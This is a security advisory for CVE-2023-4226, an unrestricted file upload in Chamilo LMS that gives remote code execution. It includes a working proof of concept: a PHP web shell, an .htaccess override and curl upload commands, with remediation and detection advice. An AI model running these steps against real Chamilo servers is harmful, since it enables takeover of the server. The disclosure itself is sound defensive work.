Product | Chamilo |
---|---|
Vendor | Chamilo |
Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
Affected Versions | <= v1.11.24 |
Tested Versions | v1.11.24 (latest version as of writing) |
CVE Identifier | CVE-2023-4226 |
CVE Description | Unrestricted file upload in /main/inc/ajax/work.ajax.php in Chamilo LMS <= v1.11.24 allows authenticated attackers with learner role to obtain remote code execution via uploading of PHP files. |
CWE Classification(s) | CWE-434: Unrestricted Upload of File with Dangerous Type |
CAPEC Classification(s) | CAPEC-650: Upload a Web Shell to a Web Server |
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
The largely-identical file upload chunking implementation used by main/inc/ajax/document.ajax.php
, main/inc/ajax/dropbox.ajax.php
, main/inc/ajax/exercise.ajax.php
and main/inc/ajax/work.ajax.php
does not impose any restrictions on the uploaded file. The uploaded file is written into SYS_ARCHIVE_PATH
, which defaults to /<path-to-webroot>/app/cache
. Although there is a .htaccess
file present in /<path-to-webroot>/app/cache
, it can be overwritten to permit execution of PHP files.
Consequently, an authenticated attacker with learner role may exploit these vulnerabilities to perform stored cross-site scripting attacks, as well as obtain remote code execution, via uploading of PHP files.
Note: This advisory details the fourth file upload vulnerability in main/inc/ajax/work.ajax.php
(CVE-2023-4226). The advisories for the other 3 vulnerabilites can be found here – CVE-2023-4223, CVE-2023-4224 and CVE-2023-4225.
The vulnerable portion of /main/inc/ajax/work.ajax.php
is shown below:
...
$action = isset($_REQUEST['a']) ? $_REQUEST['a'] : null;
...
switch ($action) {
...
case 'upload_file':
api_protect_course_script(true);
if (isset($_REQUEST['chunkAction']) && 'send' === $_REQUEST['chunkAction']) {
// It uploads the files in chunks
if (!empty($_FILES)) {
$tempDirectory = api_get_path(SYS_ARCHIVE_PATH); // [1]
$files = $_FILES['files'];
$fileList = [];
foreach ($files as $name => $array) {
$counter = 0;
foreach ($array as $data) {
$fileList[$counter][$name] = $data;
$counter++;
}
}
if (!empty($fileList)) {
foreach ($fileList as $n => $file) {
$tmpFile = $tempDirectory.$file['name']; // [2]
file_put_contents( // [3]
$tmpFile,
fopen($file['tmp_name'], 'r'),
FILE_APPEND
);
}
}
}
...
}
...
...
}
exit;
At [1], $tempDirectory
is set to /<path-to-webroot/app/cache
. At [2], the user-supplied filename is used in constructing the destination filepath relative to $tempDirectory
.
At [3], the uploaded file is saved into the /app/cache
directory of the web root using the user-supplied filename. Since /app/cache
is meant to be writable by the webserver, it is possible to append to the /<path-to-webroot>/app/cache/.htaccess
to enable PHP execution.
Consequently, an attacker with learner role can simply upload a PHP web shell to obtain authenticated remote code execution.
An attacker with learner role with access view a course, even if the user is not subscribed to the course, is expected to be able to execute this exploit scenario reliably.
test
with Open
visibility (access permitted by all users registered on the platform) is created.ch_sid
session cookie. $ echo '<?php system("id"); ?>' > rce.php
$ cat << 'EOF' > .htaccess
php_flag engine on
AcceptPathInfo on
<FilesMatch ".+">
order allow,deny
allow from all
</FilesMatch>
EOF
$ curl -s -b 'ch_sid=<ch_sid_value>' 'http://<chamilo>/main/work/work.php?cidReq=TEST'
$ curl -b 'ch_sid=<ch_sid_value>' -F 'files[0][email protected]' -F 'files[1][email protected]' 'http://<chamilo>/main/inc/ajax/work.ajax.php?a=upload_file&chunkAction=send'
$ curl http://<chamilo>/app/cache/rce.php/
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
shell command is successfully executed, confirming the unrestricted file upload vulnerability.Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.
For example:
...
foreach ($fileList as $n => $file) {
- $tmpFile = $tempDirectory.$file['name'];
+ $sanitizedFileName = $disable_dangerous_file(
+ api_replace_dangerous_char($file['name'])
+ );
+ $tmpFile = $tempDirectory.$sanitizedFileName;
file_put_contents(
$tmpFile,
fopen($file['tmp_name'], 'r'),
FILE_APPEND
);
}
...
However, note that disable_dangerous_file()
only prevents PHP
and .htaccess
files, and do not prevent uploading of HTML
files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML
file.
It is therefore recommended to enhance the implementation of disable_dangerous_file()
in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML
files.
Lastly, it is advised to add the following rules to the default .htaccess
file:
# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions
Header always set X-Content-Type-Options nosniff
End users are encouraged to update to the latest version of Chamilo.
It is possible to detect the exploitation of this vulnerability by:
/main/inc/ajax/dropbox.ajax.php
,/app/cache/*
, and/app/cache/
directory for presence of modified .htaccess
or PHP
files.Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)